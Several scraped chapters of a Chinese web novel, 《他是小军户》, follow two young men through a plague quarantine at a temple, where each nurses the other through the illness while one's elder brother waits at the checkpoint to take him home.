这一碗粥足足喝了半个时辰,期间陶修被断断续续唤醒几次,好在他没有任何抗拒不喝的动作。 喝过粥后,公仪林又在炉子上架起一壶冷水烧着。碳火烧得很静,偶尔发出轻微的毕剥声,床上的人睡的也很安静,没有咳嗽,也听不见喉管嘶拉的喘息。公仪林捧着脸把手臂撑在腿上眯了一会。 八月初的天气,因火炉的缘故棚子里温度升的很快,公仪林恨不得解下最后一件小衣,他一向注重衣冠整齐,思索半天还是给忍住了,斜靠在另一张床角迷糊地睡下。 半夜寅时,他忽听见陶修说话声:“槐序,你还在吗?” 公仪林从瞌睡中跳起来握着陶修的手道:“我在,你感觉如何,要不要喝水?”再仔细一瞧,陶修好像又没醒。 “槐序,我很冷。”陶修呓语。 听到陶修在昏睡中自然喊到的名字,公仪林有种说不出的感受,激动或是庆幸,他有很多认识的人,但在最虚弱连身在何处都不清楚时喊的却是自己。 公仪林把脱下的衣裳全给陶修盖上去,又在他身上盖一层麦草。根本不能保暖,索性拍掉麦草掀开被褥钻了进去,沿着陶修的脊背、双腿弯曲的弧度紧贴着他,把手搭上腰际将他紧紧搂在怀里。隔着几层衣衫还是能摸到他清瘦的身骨。 “槐序,我还是冷。” 搂着他腰的手臂又轻柔的收紧,不安地自言自语:“要是还冷我真的不知道该怎么做了。” 这个问题倒没令他担忧多久,怀里的人开始发热、咳嗽。 几声猛烈的咳嗽声后陶修突然睁开眼睛茫然环视暗淡的棚内,终于将视线落在公仪林身上:“槐序,什么时辰了?” “天快亮了,要不要喝口水,医工叮嘱病患必须喝滚烫的水。” 他的脸颊烧的通红,每一寸皮肤都烫的吓人,闻言又一次听话地坐起来,颤颤巍巍接过水一口气饮下去,躺下之前说了句公仪林哭笑不得的话:“回了汝丘你让他们少打我几个板子。” “唉——”公仪林叹息一声,试他的额头安慰道:“谁都不敢打你,睡吧,再熬一天你就赢了。” 陶修睡下后发出轻微的呼吸声,间或有急促的咳嗽,咳嗽时身体蜷缩成一团,待他揪心的咳嗽静下后公仪林才敢松动心弦。 漫长煎熬的黑夜终于盼来黎明的曙光。 近天亮才睡下的公仪林忽被棚外杂乱的声音惊醒,一下子从草席上跳起来,有片刻时间甚至没弄清自己身在何处,清醒后立即伸手试探陶修的额头,没有发烧,还在昏迷中。 他走出草棚先去熬药的草庐,安桂和医工们已开始熬药熬粥。 “他的病情如何?”安桂见他脸色不如昨日刚见面时精神,也猜到是难熬的一夜。 “发烧和畏寒更替出现,我过来时还在昏迷中。” 安桂往灶下填了几根柴,笑问:“一夜很难熬吧,你昨晚应该听见病患痛苦的哀嚎了,冷、热、呼吸不畅等症状生生把人折磨的痛不欲生,喘不上气时抓心挠腮,恨不得当时就死掉。” 公仪林把昨夜借用的小炉子放回其他炉子一起,架上熬药的砂锅开始忙碌:“我没注意到哀嚎。陶修昨夜很安静,老老实实把一碗粥吃掉,按你的嘱咐,这一夜喝了两碗热水。” “陶修长得就挺安静,这温蛊居然也随了他的性子。” 公仪林觉得此话有意思,不自知的会心一笑。 安桂见他添水熬药,急吩咐说:“这里暂时用不到你,你去把各房各棚里的溺盆倒掉,就倒在南边那条干涸的沟里。” “你叫我做什么?”公仪林睁大眼,似没听清安桂的话。 “不多,也就十几个。刷洗时不能直接在河里刷,取水在岸上冲洗,以免污秽顺着河水流至县外。” 公仪林哪倒过溺盆,又惊又嫌,把脸上的汗巾重新扎紧,抓起石灰搓了双手,十指火辣辣的疼。挨住把每间房的溺盆搬到一处,提到安桂指的地方刷洗,他闻着刺鼻的臭气干呕数次,双眼熏的睁不开,不知何时一串晶亮的泪珠在鼻翼上来回晃动。 刷好溺盆又挨个放回原处,一直忙到清晨的日光从枝叶间柔和的透过,他蹲在寺庙大门的拐角处,抬臂闻下黏在身上久久不散的臭味,目光惘然。 安桂伸手招呼他,远远就不怀好意地笑问:“脸都黑了,是不是气我给你安排了脏活?” 公仪林步伐踟蹰,慢慢走过来瓮声说:“替陶修做的,尽管吩咐。” 安桂:“等这场温蛊结束若还留得性命,县里一定会数倍犒赏在此付出的每一个人,还有几乎丢掉性命的医工。” “没了性命的人怎么办?” “抚恤亲属。” 公仪林把熬好的杂粮粥装进桶里,对此处的粮食、药材等物的来源有些不解,便问:“西海县封闭大半年,这些物资靠谁给,县长应该很头疼吧。” “温蛊发现的早,控制也及时,县长之所以答应封锁整个县必定是朝廷拨下钱财,还有邻县赠送的药材和粮食,若不如此帮助,谁肯答应把管辖之地隔绝起来,他们比谁都怕县里出现瘟疫。” “长久下去也不是办法。” “快了,快了,都大半年了。温蛊乃夏瘟,应季而生,天气越热越猖狂,现已转秋,天气逐渐凉爽,病患比夏天高发季时锐减许多。” “这里最多时躺了多少人?” “听说这里免费施药,各个村子都主动把人送过来,最多时足有两千,地上到处都躺着人 24.你哭了想家了 《他是小军户》全本免费阅读 公仪林小心翼翼再确认一遍:“真的无碍吗?” “熬吧,熬个三天。”老医工挥臂让他回去,语气尽是疲惫,他们这帮老头早就厌倦这里的一切。 公仪林走进病人中间观察他们的症状。这些人症状不一,刚患病的和严重的、濒死的被分开安置。他先去的是濒死区,病人躺在遮风挡雨的屋子里享受着最后一点庇护。屋内共十二人,脸上已有死气,统统都是金黄的面容,脖子咽喉处肿大成拳头状,咳嗽声费力的从喉咙中挤出来,像被勒了脖子的猫叫,盛出来的粥还放在角落没有动,今天或是明天,不然就是后天,他们都将慢慢死去。 公仪林萎靡地走出濒死区,拖着双腿回到草棚,半跪在床沿抚着陶修的脸哀求道:“康乐,快醒过来跟我一起回去,跟我离开这鬼地方。” 他从小被养在精心呵护中,见过的死人不过是宗族里衰老病死的族人,何尝见过遍地等死的肉躯,一具具因温蛊变成金黄肤色将死的躯体几乎令他精神崩溃,这是冲动受到的必然惩罚,如果倒回两日前,明知陶修就在此地他也不敢肯定自己不会来西海县。 陶修整个发病期皆以平静的睡相度过,第三天尤为安静,公仪林一度以为他没了鼻息和脉息。 公仪林绞尽脑汁想点惧怕的东西抵抗奄奄一息的陶修带给他的恐惧,想起父亲立在身后听他背书时戒尺一下一下富有节奏叩击掌心的声音,背错时他威严的咳嗽让人脊背生寒,还有一次玩心大起,在母亲的佛堂点燃八十一根香烛,熏的佛堂浓烟滚滚,那会他确实是怕受到责罚的。 但那种害怕与现在的恐惧完全不同,他害怕失去一样贵重东西与肉/体迎接棍棒的恐惧截然不同,若是相较两种恐惧哪里不同,那就是他宁愿接受百次千次家法的毒打也不想失去陶修。 忙忙操操一整天,公仪林刷锅洗碗的经验开始精进,足够使司子大吃一惊,他洗净草庐里的所有熬药器具,跟昨晚一样端着小炉子回了草棚。 床上的人依旧很安静。他打水洗脸、擦身,又给陶修擦了脸和双手,然后蹲在炉子前静静守着已咕嘟冒泡的粥,粥已熬的浓稠几乎闻到焦味,他默默换上清水继续煮。 他的动作全程都轻的像猫。 陶修醒了有片刻,浑身疼痛还不想开口,一直盯着炉边的公仪林,直到听见他鼻息中有抽泣声时,终于哑声开口:“槐序!” 声音很弱,公仪林却听见了,猛然转身扑到他面前。 “你哭了?是想家了?”陶修果然在他脸上看见泪痕。 公仪林轻触他干裂的唇,一声不吭用勺子往他嘴里喂了几口水,幸而草棚光线昏暗,此人看不见他狼狈软弱的模样,不敢开口是怕他听出喉咙哽咽的声音。 陶修喝过几口水就摇头推开,挣扎要坐起时公仪林把他按下去:“躺下,刚醒就别虚耗体力了。” “虽然很气愤你来西海县,我还是很感激你,也让你劳累了。我或许熬了下来,真正令我担忧的却是你,一旦被这个病传染上顶多五日就出现病症,到时候我该怎么办?” “这几天我随身挂了生石灰和艾草,安桂能走运,怎知我就不是被温蛊遗漏的人?” “不要抱侥幸想法。向来瘟疫对人公平也很毒辣,它面前没有老弱病残之分,不嫌人富贵清贫,更不识何为尊卑贵贱,谁都有被传染的几率。此处条件恶劣,饮食粗糙清淡,你明日借老医工的纸笔修书一封,让守路障的人替你跑一趟汝丘,就说你是公仪家的,他们绝对乐意效劳。家中有人来接时你一定跟着回去。” 公仪林给他喂过水又开始吹粥,冷着一张脸跟他分析:“哥哥你也烧糊涂了,万一我已被传染,就算他们替我找了最偏僻的地方隔绝起来,总要有医工给我看病熬药,还有擦洗、喂饭,各种琐事不得接触三五人,一旦传染出去,可是要在县志上记下我公仪家一笔的,我不敢担此风险,何况,我家中有从醴县来避暑的侄子,才一岁多,这样的风险求你还是别让我冒了。” “那你让我怎么做?你也看见庙里最北那间的病患了。” 公仪林目光沉了一下,白日在濒死区有人死掉,四十多岁年纪,破旧的草席一裹就被两个义士抬走了,先是扔在离寺庙很远的一行杨树下,后来了一辆破板车直接拉走,安桂说有人会将尸体送回家中安葬。 公仪林玩笑道:“但愿我倒下前你身体能恢复七八成,别人粗手粗脚我看不惯,你必须伺候我送汤吃药。” “别说恢复七八成,就我现在的样子也得爬起来服侍你啊。” 粥已吹冷,公仪林扶他倚靠在一堆麦草上,边给他找个舒服点的姿势边好奇地问:“康乐,当年沈钟打你的二十板子为何害怕至今?睡梦里也求公仪家不要打你。” 陶修无奈笑道:“那日去你府上拜访我才知道什么是名望世家,你又跟我走得近,两次三番要出点事情连累我,公仪家的二公子要真因我的缘故伤了或是——你家还不把我打死,以后就算你帮我的忙,别再冲动贪玩行不行?” “你认为我是贪玩才来找你?以后谁都不敢打你,须过我这关。” “那你就好好的别病。” “清晨那会安桂居然让我去刷溺盆,我贪玩会大老远跑来刷溺盆?” “你刷了?” “还能怎么办,他说平时都是你在干,我怎好拒绝。” “这事你回去也千万别跟旁人提起,免得连累我。” “我还要面子的,跟人吹嘘我一天刷十几个溺盆又不是什么光彩的事。” 陶修已熬过最难的三天,他这一醒遍地病患的地方就不似前两天那般压抑恐怖,公仪林终于听见黑夜里此起彼伏的咳嗽和痛苦的呻/吟。他走出棚外透气时见悬于夜空的月很亮,清光似水,诸星铺满夜空,不失是个赏月的好机会。 立即回到草棚里有些兴奋地趴在陶修床头:“康乐 25.病中的小满足 《他是小军户》全本免费阅读 离灯明寺最近的岗哨前三个看守路障的汉子睡了俩,呼噜震天,醒着的男子见有人骑马而来,当即就从窝棚迎上去。 “大哥,怎么称呼?”公仪林问。 “铁柱。公子有何吩咐?” 公仪林从怀里取出一块银子丢给铁柱,命令道:“我奉安医工之托,令你去邻县买两百只鸡回来,要干干净净的给我杀好了,明日一早送到拉尸的地方,我按时去取。不知这事好办不好办?” 铁柱抛着银锭抚摸两撇小胡子踟躇不敢答应。 “余下的钱留你们三人打酒吃。” “好,包在我身上,我好歹是西海县的刑曹,这事容易。” “那就多谢了,辰时我要见到货。” 好久不见如此沉重的银两,铁柱连连点头道:“公子放心,我这就去办,辰时准时送到。” 公仪林又嘱托一句:“留两只活的,老母鸡最好。” 这一夜很少再听见陶修咳嗽,睡得很踏实,公仪林忙碌这些日也是倒头就睡。 第二日,众人正忙着散粥,一个义士小跑至熬药的草棚前,抑制不住兴奋对安桂大喊:“安医工,他们把鸡送来了,哎呀,真多啊,还给杀好了,听说是你买的。” 安桂听得稀里糊涂:“鸡?什么鸡?” 那义士道:“是刑曹亲自用车拉来了,在那排树下等着呢。” 公仪林从灶前抬起一张抹了锅灰的脸,站起来对安桂说:“我跟你一块去拉,今日的午膳熬美味的鸡汤给大家补补身子。” 安桂一边往衣服上擦手一边跟上来看个究竟。之前临时放尸的地方停着一辆板车,车上整整三大桶拔过毛的鸡,他吃惊地转向公仪林:“你小子买的?你昨日说想吃肉就买了三大桶鸡回来?” 铁柱走到公仪林面前小心翼翼笑道:“公子,刚好两百只,您要的活的就拴在桶后面,活奔乱跳的老母鸡。这个是余下的钱,您收下——” 公仪林推开铁柱的手对旁边看热闹的义士道:“老母鸡我要养着,其余的诸位帮忙抬去草棚。” 他拎着两只嗷嗷叫的母鸡跟个孩子似的跑去找陶修,冲进棚里邀功:“康乐快看,给你带了好东西,我们养着它慢慢的给你补身子。” 陶修披了衣裳从床上坐起来,对这个时候能出现的两只母鸡非常意外:“哪里来得两只鸡?你这几日受累了,不用担心我身体,众人都在此受苦我怎敢独自躲起来偷吃荤腥。” “大伙都有,我买了两百只,今天众人都能吃上,这是我为你单独留的。” “两百只?”陶修慌得扶床要下来:“两百只是不小的花费,你不怕你父亲——” “如你所说,谁家锦小郎君还没点钱财。想不想去看看?” 不是过节才吃肉,而是吃肉的那天像似过节。装鸡的木桶前围了几十号人,口若悬河商议着如何食用这些鸡才能最美味,有人提议烤,有人爱清蒸,咳嗽与笑声不断,有人大喊道:“别咳,把鸡都弄脏了。” “穷讲究,站在这里谁还不是一样的啊,哈哈。” 石屋里的三个老医工也走出来问清缘由并向公仪林表达谢意。 除了病重不能起身的,其余几百口人似乎胃口都很好,兴致高昂,纷纷围在熬药的草炉边张望、闲聊。 午时的日头明亮晃眼,清风拂面,熬粥用的几口大铁锅油的发亮,灶下薪火旺盛,锅中鸡汤咕嘟咕嘟冒泡,安桂特意从一堆药材中挑几样枸杞、小参放入汤中。 众人静静晒着初秋的太阳和闻着鸡汤香味,感受生病之外的平静安好,似乎看见这场夺去几千人性命的温蛊渐渐消失,祥和缓缓走近。 第一碗鸡汤盛在黑色光亮的大瓷碗中端给了公仪林,公仪林庄重地接过碗放到陶修面前,在众人满足兴奋地注视下陶修举碗做了一个“先干为敬”的动作:“诸位同享。” 人群欢呼一阵,拿碗依次领了鸡汤。他们吃饱喝足,把咂得油光滑亮的鸡骨吐出,满足的打嗝,继续晒初秋温暖的太阳。 安桂走到收拾碗筷的公仪林身边,刚要开口,翻着眼压下一个饱嗝问:“公仪公子,我替他们来谢你。我担忧你遇到纠缠,所以他们多数人并不知这些鸡是你买的,不会介意吧?” 公仪林道:“安医工哪里的话,举手之劳,小恩小惠,不足挂齿。” 安桂把“小恩小惠”几个字放嘴里咀嚼三次,问:“你出手如此阔绰,举止言谈亦与我们这些粗人不同,富贵人家公子怎么肯来这疫地,不怕丢性命吗?家是何处?” 公仪林把碗高高摞起,猛地用力直腰搬起来又放进木桶中准备刷洗,转身笑道:“我和陶修家在一起,我和他从小就喜欢暗中较劲谁也不输谁,他命都不要了,我岂肯落后,你等着吧,他大病一场,我肯定也不会输他。” 安桂只当他是贫嘴,没把最后一句话放心上,同他一起抬着木桶往河边走去,随口说:“你注意没,昨日只送来五个病患,却有八人痊愈回家,真是件大好事情啊。” 公仪林大喜:“照此下去,这场温蛊初冬时能结束了。” “但愿如此,来此帮忙的义士们都累了,他们春天那会来此就一步没有离开过,有人夜里还偷着哭咧,我也累。今日的鸡汤不仅饱了口腹,众人好像都有了奔头,在这里难得从他们脸上看见笑容。” “可惜我来的匆忙,带的钱只够买一次,早知道就多带些来。” 安桂忙阻止道:“我跟你说这些并非要你再破费,一次就足够了。” 安桂猜着他是富贵公子又兼吃人嘴短,刷碗这力气活就比平日干的更勤快,嘴也比刚见公仪林时客气不少,水珠乱溅、瓢碗叮当,短短一阵子就把一桶碗给洗净。 公仪林笨拙地刷着手中第六个碗,对安医工露出不可思议的钦佩表情。 旁人都没注意到公仪林加大挂在腰际石灰粉和艾草的分量,陶修明白过来时也迟了。 喝过鸡汤的第二日清晨,公仪林起身从棚外舀水洗脸,端着盆外面站了许久才微微弯腰进来。习惯性拧一把巾帕递给陶修擦脸,继而又拧一把替 26.他还有一口气 《他是小军户》全本免费阅读 拍桌的巨响把公仪佑吓得嚎啕大哭,连公仪檀都浑身一颤,慌忙起身回道:“父亲息怒,司子快回来了。” “你也不问清他去了哪个县,那个畜生就像拴不住的野马,放荡不羁,若不是今年改了肠读起书来,我只当他往后都是个庸人。明日就是仲秋他连个人影都不见,难得你告假返乡他竟逍遥自在去了。” “是我一时大意没把他去向问清,等槐序回来我和他一起去祠堂罚跪。” “我不是气你,是气槐序这个畜生。”公仪曲怒容满面又要安抚被他吓哭的佑儿,就是摸在佑儿头上的力道重的让孩子母亲心疼不已。 又等了半盏茶时间,司子慌张从外面跑进来大声叫唤:“老爷,大事不好。” 公仪曲猛地起身指着司子斥道:“慌慌张张,什么不好的事情要你这样喧哗?” 司子哪顾得上老爷发脾气,把声音压低回复道:“沈钟公子去了趟陶家,陶家的小娘子说陶修去了西海县。” 众人听的莫名其妙,公仪檀问:“陶修去了西海县和槐序有什么关系?” 司子拍手跳脚道:“二公子和陶家的陶修最要好,沈钟公子猜二公子也去了西海县。” 此话一出,公仪曲和公仪檀父子俩愣在原地,方才的怒火瞬时转变成震惊和害怕。 公仪老夫人深居简出,平时很少听丈夫议论国事,更别提西海县的瘟疫,摸着手腕上的佛珠坐立难安:“究竟发生了何事?” 公仪檀扶住母亲,言简意赅轻言温声:“西海县正闹瘟疫。” 老夫人跌回座前,当即哭出声道:“青木,你快命人给他找回来。” 公仪檀道:“槐序要真的去了疫地恐怕不能轻易回来,听闻西海县把温蛊锁的很好,不可能轻易就把他带回来。” “那如何是好?既然他不能出来,那你们把我也送进去。”老夫人态度强硬,丝毫不给长子犹豫的时间。 公仪曲缓了半天才续上刚才的怒火,出口责备夫人:“荒谬,那是死人的地方。” “母亲不要忧心,我想办法把槐序带回来。” 正说着,仆人通报沈钟来了。 想是赶路太匆忙,沈钟满头汗水双颊通红,小跑进公仪家厅堂,话都没说上就把公仪檀面前的一杯茶喝掉,捋顺气息才行礼见过舅舅、舅母。 公仪曲用气到发抖的嘴喝问沈钟:“陶修到底是何人,你肯定槐序去了西海县?” 沈钟道:“舅舅舅母先别急,我也只是猜测,陶家叫陶舒的小娘子说槐序登门打听过陶修去向,第二天清早他就出发走了,我只是觉得有可能去了西海县。” 公仪曲听的暴躁不安:“你们一个劲提到陶修陶修,他到底是何人?他去西海县做什么?” 见舅舅怒意难消,沈钟把一路奔来的劳累吓个精光,小声回道:“陶修是玉河村陶家的孙子,是个军户,从小与槐序相识,见过几次面。” “槐序怎会认识那种人?” 沈钟战战兢兢:“槐序小时候来我家避暑不慎落水,是,是陶修救了他,二人关系一向很好。” 落水一事倒让公仪老夫人记起是有陶修这么一个人,婉言开口:“我记得那孩子,家境贫寒,槐序回来后还让我封一箱礼送去,他到闹瘟疫的地方作甚?” 沈钟道:“就因他家境贫寒才四处钻空赚钱,家里有个瘫痪在床的祖父和年幼的妹子要养,他去西海县可能是当义士赚钱。” “为了酬劳他竟然去疫地?”公仪檀有些疑惑震惊。 “那小子不怕死,三年前就干过这事,好在那次虚惊一场并非瘟疫。眼下如何是好,槐序去西海县都十几天了,我怕他……”说一半沈钟突然发现公仪夫人紧盯着自己的嘴,看看这张嘴里到底会吐出什么结果,他只得闭口不言。 公仪檀当即决定赶赴西海县。 带回孽子事大,可万一那畜生真把疫病带出西海县,公仪家必定会被淹没在百姓唾骂中,公仪曲几次想阻止长子打点人马,对二儿子的私心终究胜过可能传染开的疫病。 公仪檀出发时对父亲保证道:“轻重缓急我自有分寸,你们二人在家等我消息。” 公仪老夫人擦着流不完的眼泪叮嘱他:“你也要保重好身体。” 包括沈钟在内,公仪檀共带八名壮汉,跨马带刀直奔西海县县署。 * * * 公仪林倒下后已昏睡两天,日夜照顾的陶修以为他也能像其它侥幸者一样在昏睡中平静度过前三天,结果第二个深夜,公仪林鼻孔血流不止。 陶修发现时是被他鼻血灌进口腔呛住的咳声惊醒的。 爬在唇角的血有点虚痒,已被昏迷中的公仪林抹匀在面堂,又顺着嘴角流进脖子。陶修借清亮的月光一看,把整个身子吓软半边,另外半边勉强摸过去吃力地抬起他脑袋,急唤:“槐序,你别吓我,醒来应我一声。” 黏稠的血爬进陶修的指缝,他立即放平公仪林并用冷水拍打他额头,把艾草浸湿后揉成团塞进鼻孔,这才匆忙去敲老医工的门。 几个老医工年事已高睡眠浅短,陶修敲门时老医工正歪在床上谈行医生涯中的怪事。听过陶修的恳求后都爽朗地披衣走出石屋。 三个老头站在石屋外齐齐抬头朝快圆满的月望去,或拢手或展臂,挺直佝偻的背赞叹一阵:“真是风清朗月的夜晚啊!”又一个笑道:“一轮明月千山照,三个枯叟忆生平,半夜无眠,有这月看也是美事。” 第三位老医工刚要开口附和,陶修终于忍不住打断道:“老先生,我那朋友鼻血不止,还是先去看看再论月吧。” 他们跟在陶修身后慢吞吞挪步,还不忘安慰他:“孩子,我们三人也算是摸清楚温蛊的脾性了,它是油盐不进,任何药都只有安抚人心的作用,不管病人身上出现何种症状都得靠自身去抵抗,你说的流鼻血之症在春天那会我碰到过几个,两死三活,药都是一样的药,只能说生死有命。” 陶修沉默不言。 去请医工的短暂时间内公仪林醒来过,可能没发现陶修,爬起来后就倒在草棚外。 陶修翻过他身体 27.想不想吃糕点 《他是小军户》全本免费阅读 公仪林的病情不能耽搁,又不知县长叫他为何事,陶修步伐走的有点快,突然发现人群里有张熟悉的面孔,是幼年给他留下不小阴影的沈钟,正拿着马鞭神气活现等着他。 两人还隔着五六丈距离沈钟就示意他住脚:“停那,别靠前。我问你,槐序是不是在这里?” 公仪家总算是来人了,陶修感到一阵轻快,“沈公子,二公子现被传染了温蛊,情况略危急,我刚从村里找到竹子欲回去给他备药,你若有要问的、不解的就等我把药喂了再来回你。”他看了眼后面坐在人群里的两个人,问沈钟:“县长大人来此也是为了槐序吧,你替我转告一声。” “你先等着。”沈钟急转身回去转述几句又跑回来喊道:“你快去,一个时辰之后再来这里。” 陶修走后,公仪檀脸色阴沉,放在腿上的双拳握到咯咯响,明知兄弟性命堪忧又不能进去探视,只能坐在此处干等。 西海县的章县长极不自在,找不出好听话安抚公仪檀,悻悻陪笑道:“公仪大人请勿焦心,此处的医工都是我西海县医术最好的,方才那孩子砍竹取沥定是老医工们给的医方,公仪二公子绝对会没事。” 公仪檀道:“我这二弟给大人添麻烦了。进去的人打听清楚公仪林的状况后可能还需麻烦大人帮忙。” “哪里的话,二公子小小年纪就来我西海县做义士,是所有人的表率啊,我们感激还来不及呢。” 陶修回来后先进草棚看了眼公仪林,只这片刻就咳嗽数声,每一声都咳的头翘起又落下。他匆忙退出草棚取竹烧沥,安桂小跑过来问:“公仪林到底是什么身份?方才有人奉县长之命进来打听他,问了情况后就匆匆走了。” 陶修道:“他是汝丘县公仪家的,父亲就是公仪曲。” 安桂瞠目结舌,呐呐道:“我说嘛,那小子做什么都笨手笨脚。早知他是这身份当天来的时候就该撵他回去。要是死在这里公仪家不知要……快,我来帮你烧竹沥。” 斩成一截一截的竹子在清澈的火中劈啪作响,从竹端冒出白色沫子,一点一点汇聚成液,滴滴落在一只干净的白碗中,液体微微泛点绿。 烧竹时公仪林又咳醒了,憔悴地四下打量,一时想不起身在何处,干巴巴的嘴问安桂:“康乐在哪?” 安桂朝棚外大喊一声:“公仪公子醒了。” 陶修撂下火堆就跑进来,终于露出几日来的头一个笑容。 “康乐,你在外面做什么,为何不是你照顾我?”刚说完就连声咳嗽企图让他同情。 陶修扶他坐起来,指着外面的小篝火说:“我哪敢懈怠,正给你取竹沥,都要盖过碗底了,再忍会喝过就没事了。” “从你房中的破药书上看来的?”他记得陶修书案上的药书也翻得稀烂。 “是老医工给的方子。你若喝好了我打算再出去多寻些竹子回来取给众人服用。” “到时候我跟你一起去。” “槐序,公仪家找你来了。沈钟正同县长大人在一起,他们可能要带你出去。若是他们安排的紧密你就跟他们回去。” 公仪林挣扎要起来,慌问:“我父亲也来了?” “不知,我看见沈钟,还有一位和县长大人平起平坐的年轻人。” “可能是我兄长来了。我不跟他们回去,是第三天了吧,也该好了,何必再跟他们回去弄出麻烦来?” “我也正是此意,但你大病初愈留下就只能跟着我们喝粥。” 公仪林费力地牵动嘴角笑道:“有你在还能亏待了我。” 安桂把小半碗尚有余温的竹沥端进来,一副讨好的表情:“喝掉。” 药虽清香却有点苦涩,公仪林紧皱眉头咂舌抹唇对陶修挑剔道:“要不是你费心取它,谁哄我都喝不下去。” “别废话,喝了我还要去关口回话县长大人。如果那年轻人真是你兄长要不要我替你带话。” “不用。” 陶修以为他说不必带话,却见公仪林颤颤巍巍从草铺上站起来,借他的手臂走了两步,“要死了,站起来做什么?” 公仪林把挂在柱子上的披风取下,笑道:“你没见过我兄长不知他脾性,他外表会骗人,动起真格可是果断的很。我要不亲自见他一面,他可能会命人捆我回去或在西海县待至我痊愈。你扶我去见他。” 陶修从他手中接了披风为其系好带子,瞧着他憔悴的面容和打结蓬乱的头发,小声嘀咕道:“你兄长比沈钟脾性如何,会不会轻易责打下手?” 公仪林一时没反应过来这话的意思,愣了一下,随之灿然笑问:“唉,当年沈钟打你的一顿板子到底给你留下多深恐惧?” “那顿打说轻不轻,说重不重,断了一根肋骨,好在当时人小愈合的快。” 公仪林敛了脸上的笑容问:“真断了?” 陶修见他认真又给话题绕开:“我去把马牵过来。” 公仪林翻身上马时用力太过,气喘吁吁半歪在坐于后面的陶修身上,占了点小便宜便不踏实,不安地问:“你不会把我推下去吧。” “这是什么话?” “不嫌我靠你太近?我很累,若不介意我就想这样靠着。” “还好。” “我兄长名檀,是汝丘远近闻名的青年才俊,德才兼备,他从不苛待旁人,与他相处会感觉很踏实,处处替人着想,凡事只要有他在都是他在决策,从不让旁人费心劳力。” “你有没有想过他只是对你如此。” “这倒也有可能。” 去关口的小路高洼不平,多日没下雨,行走的路径干燥光滑,清爽的秋风从两旁的田里吹过,已能嗅到八月稻穗的清香。二人都才病愈,座下的马儿徐徐向前,一点速度都赶不得,公仪林趁着一阵风过后又开始耍心机:“真冷。” 听见病人嫌冷,谁都不会置若罔闻,公仪林等着陶修做出他想要的诸如搂抱之类以示关怀的动作,毕竟他哥公仪檀就是如此照顾兄弟的。 陶修左右为难,身上就一件衣裳,若解下给这位公子披上自己赤膊光身就有些不堪入目,纠结一番还是决定 28.思念是一样的 《他是小军户》全本免费阅读 公仪檀朝前迈进几步,紧皱眉头:“你这副病容还叫我放心。我跟章大人商量过你的事情,他愿在城中隔出一院落给你养病,什么都别说现在就跟我回城去。” “在灯明寺养病和城中又有何区别,万一把温邪带出去对谁都不好。这几日都是陶修和安医工照顾我,更兼有对温蛊了如指掌的老医工,可不比外面安全?我站这半日有点累了,你离开此处回去吧。” “沈钟说你越来越难管看来是真的,我答应阿母带你回去,这让我如何跟她交代?” 沈钟见自己被拎出来做了盾牌,脸上极不自在,跟着喊道:“你哥的话都敢不听?” 陶修见兄弟二人想法不同各不让步,斗胆对公仪檀行礼开口道:“大公子,槐序说的很有理,西海县费尽人力才把温蛊锁在灯明寺,眼见天凉病疫逐渐好转,若因他而弄出不堪设想的后果,对他对百姓都是祸事。我一定尽心照顾好二公子的身体。” 公仪檀对他直呼公仪林的小名非常反感,板着面孔把他浑身上下都扫了一遍。他们说的确实是事实,西海县百姓被温蛊糟蹋近一年,周边百姓绝不能再受此天灾的肆虐,沉思一阵对陶修拱手道:“好,我等他痊愈为止,槐序就拜托陶兄弟了。”又对公仪林叮嘱道:“你在灯明寺好好养病,我就守在这里直到你痊愈跟我回去为止,不要多言,里面有什么缺的尽管跟我开口。” 一听此话,章县长搓搓发紧的手指暗暗叫苦:啊,他要留在这里?我岂不是要陪着留下? 公仪檀的话正合公仪林心意,毫不客气开口道:“今日中秋我们想吃甜糕,按三百人份准备,月升之前能送到最好。” 三百人份的甜糕确实多,公仪檀才从铁柱嘴中听见几日前他买鸡一事,爽快答应:“我立即安排。” 甜糕是月亮刚出东方时送来的,跟三桶鸡引起的震动一样大,揭开木箱,香甜软糯的味道瞬时把灯明寺飘散的苦药味压下,最上面一层刚做好就封箱运了过来,托在掌心的米糕还有点烫手。 皎洁柔和的月映照大地,灯明寺的咳嗽声比往夜少许多,病人吃糕时的窃窃私语使今夜越发宁静满足。 陶修和裹了一身被子的公仪林倚靠在草棚上吃糕赏月,陶修拿起第二块甜糕问他:“胃口恢复如何,你还能不能再吃一块?” 公仪林摇头道:“吃不下了,我只想歪着好好赏月。”两人虽并肩靠在一起,公仪林心里却惘然若失,和陶修之间好像永远有段距离是他不敢跨越的,这不该是他身为贵公子与穷小子之间该有的障碍。 “你有没有喜欢的姑娘,懂不懂思念又空虚的感觉?” 正吃第四块糕点的陶修不是很明白他的话,放下糕点轻拍掌中碎屑,很认真地回答他:“我不懂你说的思念指哪个,但我觉得想念一个人的感情都是一样的,不管是恋人还是亲人。小时候我常趴在窗前仰望天幕中的星辰想念我母亲,说来好笑,我并不记得她,悄悄思念她的孤独感和那孩子孤零零趴在窗前的模样却一直记在心里,跟你现在无缘无故突然提起此话题的心情一样。” 公仪林转头看他,好奇道:“一点不记得身世了?” “零零散散凑不成故事。” “连个地名都记不起?” 陶修以一笑带过他的问题,把糕点继续往嘴里塞。 公仪林从怀里摸出黑玉印章递给他:“你生病的几天我怕你丢了。这是你幼时刻的吧,这块黑玉材料不俗,要是能想起任何有关你身世的线索就告诉我,我替你留意。” “多谢,眼下只想温蛊尽快消失我好回玉河。” 公仪林两日内连喝三次竹沥,药效十分明显,和他同时病的人还咳的首尾上翘时他已生龙活虎。老医工们把药方又调整一遍并把竹沥的药效上报县长县令,县里又把此药方传给西海县百姓,没几日,西海竹贵。 邻县倾囊相助,除预留下备用的一部分其余竹子都砍下来悉数送往西海县。 陶修和公仪林的手头事不再是熬粥熬药、端屎端尿,一人在垒成山的竹堆前劈竹砍竹,另一人则烧火取汁。烟熏缭绕从清晨直烧到深夜,二人身上熏染的烟火气味很浓郁,却有竹香。 烧火取竹沥的位置就在他们草棚边上,除了安桂很少有人来此打扰,公仪林喜欢跟陶修独处,巴不得能跟他挨到深冬一块回去,但每日守在关口雷打不动的公仪檀令他倍感压迫。 “大公子还坐在关口?” “他说到做到。” 陶修把收集的两个半罐竹沥倒在一起准备给安桂送去,对公仪林说:“早点跟他回去吧,你说过他是回乡避暑,这八月都过了大半我猜他也该启程到任上去了,何必让他忧心。” “就这两日了。” 公仪檀一连六日的清晨从驿馆出来后直奔关口等候公仪林。他这人心态稳如泰山,坐在关口靠读书打发时间,到底要赌一赌这兄弟几时才肯跟他回去。 